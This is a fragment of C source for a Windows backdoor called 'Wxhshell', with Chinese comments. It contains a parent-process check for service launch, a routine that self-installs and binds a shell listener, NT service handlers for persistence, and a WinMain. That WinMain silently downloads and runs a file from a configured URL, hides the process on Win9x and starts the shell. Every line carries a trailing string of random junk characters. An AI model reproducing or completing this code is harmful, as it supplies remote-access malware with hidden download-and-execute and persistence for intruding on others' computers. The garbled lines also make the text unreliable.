ULONG UniqueProcessId; [1LlzCAFBw
ULONG InheritedFromUniqueProcessId; pM|m*k
} PROCESS_BASIC_INFORMATION; RjcU0$Hi
)V6Bzn}9
PROCNTQSIP NtQueryInformationProcess; fLtN-w6t
i7%v2_
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B2R^oL'}
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yDE0qUO
|#>:@{X<
HANDLE hProcess; Xxz_h*
PROCESS_BASIC_INFORMATION pbi; pL&
Zcpx
xy^t_];X
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LA837P
if(NULL == hInst ) return 0; JNJ96wnX1
N<$dbqoT|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V,*<E &+
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RZ6[+Ygn
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b-`=^ny)K
sa7F-XM
if (!NtQueryInformationProcess) return 0; 2`[iTBZ=^
1 iiQW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7 K5D,"D;1
if(!hProcess) return 0; 9GV1@'<Y]
Qf>$'C(7!a
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (2SmB`g
YLx4qE
CloseHandle(hProcess); lWR".
|+aUy^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KkIgyLM
if(hProcess==NULL) return 0; -](NMRqfN
9i=HZ\s3
HMODULE hMod; 6w"_sK?
char procName[255]; xa=Lu?t%<
unsigned long cbNeeded; a7?)x])e
x @a3STKT
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]SO-NR
MyJ\/` 8
CloseHandle(hProcess); Z]QpH<Z
BM
vGw
if(strstr(procName,"services")) return 1; // 以服务启动 ^?~WIS
xnR;#Yc
return 0; // 注册表启动 y37c&XYq
} NKSK+ll2
;UAi>//#
// 主模块 Qvx[F:#Tk
int StartWxhshell(LPSTR lpCmdLine) cm'`u&S
{ 1Mtm?3Pt
SOCKET wsl; AW R
BOOL val=TRUE; pnpx`u;
int port=0; 4#D<#!]^
struct sockaddr_in door; 7~ I*u6zY
)@Vz,f\}
if(wscfg.ws_autoins) Install(); k$ORV U
z{q|HO
port=atoi(lpCmdLine); >x3$Ld
`xq/<U;i
if(port<=0) port=wscfg.ws_port; Fs3rsig
- _KO}_
WSADATA data; 9'5`0$,|^
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '|7'dlW
FB>^1B]]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *M]@}'N
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jR_o!n~5
door.sin_family = AF_INET; #$^vP/"$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); O u-/dE%
door.sin_port = htons(port); yU{Q`6u T
<NYf !bx
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v]?zG&Jh
closesocket(wsl); "G[yV>pxv
return 1; [Nw%fuB
} wyi%!H
9sI&&Jg
if(listen(wsl,2) == INVALID_SOCKET) { i[#XYX'\
closesocket(wsl); |b+ZKRW
return 1; #GbfFoE
} }|j\QjH
Wxhshell(wsl); _-R&A@
WSACleanup(); JnY.]:
KB$SB25m
return 0; 6]^~yby P
QB"Tlw(
} 0|=,!sY
`mE>h4
// 以NT服务方式启动 K-2oSS56
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) us7t>EMmB
{ IyPk3N
DWORD status = 0; NRI@M5
DWORD specificError = 0xfffffff; QEQ/
)L0NX^jW;
serviceStatus.dwServiceType = SERVICE_WIN32; JP1XH k
serviceStatus.dwCurrentState = SERVICE_START_PENDING; [X7KlS9x2
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9{cpxJ
serviceStatus.dwWin32ExitCode = 0; gy*c$[NS$
serviceStatus.dwServiceSpecificExitCode = 0; %jErLg
serviceStatus.dwCheckPoint = 0; ]=Dzr<*v
serviceStatus.dwWaitHint = 0; ?glK~G!i
ecsQshR
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Re<@.d
if (hServiceStatusHandle==0) return; |6O7_U#q
NE)Yd7m-
status = GetLastError(); 2CY4nSKW
if (status!=NO_ERROR) &~K4I
{ M?ObK#l!_
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]5',`~jkF
serviceStatus.dwCheckPoint = 0; 8fSY@
serviceStatus.dwWaitHint = 0; =MjkD)l
serviceStatus.dwWin32ExitCode = status; v 1VH&~e
serviceStatus.dwServiceSpecificExitCode = specificError; %nV6#pr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Sr=|j
return; AeR*79x
} O\+b1+&b3Y
53<.Knw5a
serviceStatus.dwCurrentState = SERVICE_RUNNING; xiy=D5N.=
serviceStatus.dwCheckPoint = 0; &~KAZ}xu
serviceStatus.dwWaitHint = 0; Z4s+8cTHn
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WXs?2S*
} R^?9V=Y<T
I
R|[&} z
// 处理NT服务事件,比如:启动、停止 HPc~wX
VOID WINAPI NTServiceHandler(DWORD fdwControl) yBl9 a-2A
{ |r+w(TG
switch(fdwControl) k~XDwmt;
{ ''?iJFR
case SERVICE_CONTROL_STOP: ^:u-wr8?{
serviceStatus.dwWin32ExitCode = 0; :LxsiDrF[
serviceStatus.dwCurrentState = SERVICE_STOPPED; $e, N5/O
serviceStatus.dwCheckPoint = 0; fda)t1u\8
serviceStatus.dwWaitHint = 0; j_{f(.5
{
qHl>d*IZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); NA!?.zn
} eqSCE6r9x
return; qx1+'
case SERVICE_CONTROL_PAUSE: ufn%sA
serviceStatus.dwCurrentState = SERVICE_PAUSED; N#p%^GH
break; CxD=8X9m
case SERVICE_CONTROL_CONTINUE: fl}!V4
serviceStatus.dwCurrentState = SERVICE_RUNNING; ZKTY1JW_
break; 8.zYa(<2
case SERVICE_CONTROL_INTERROGATE: }Y!v"DO#Q*
break; M)"'Q6ck=
}; u\q(v D.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); O~#A )d6
} HV=P!v6
_ -|+k
// 标准应用程序主函数 &d_2WQ}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sH.,O9'r
{ JLak>MS
gx.\&W b
// 获取操作系统版本 Yq>K1E|
OsIsNt=GetOsVer(); lFN|)(X
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y~k,AJ{ ^
&)izh) FA
// 从命令行安装 hplx s#
if(strpbrk(lpCmdLine,"iI")) Install(); sQmJ3 (:HO
sLd%m+*p
// 下载执行文件 vcC"
if(wscfg.ws_downexe) { 69S*\'L
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j;J`PH
WinExec(wscfg.ws_filenam,SW_HIDE); 6F_:,b^
} Zd}12HFq
&EhOSu
if(!OsIsNt) { $/crb8-C
// 如果时win9x,隐藏进程并且设置为注册表启动 e^k)756
HideProc(); .#}A/V.-Y
StartWxhshell(lpCmdLine); CI1K:K AM
} _`lPLBr6
else TF?~vS%@P
if(StartFromService()) ~NTKWRaR
// 以服务方式启动 Zg9VkL6Z6
StartServiceCtrlDispatcher(DispatchTable); CT/>x3o
else fRjp(m
// 普通方式启动 a$3 ]`
StartWxhshell(lpCmdLine); quS]26wQz
i1 c[Gk.o
return 0; wpD}#LRfm
}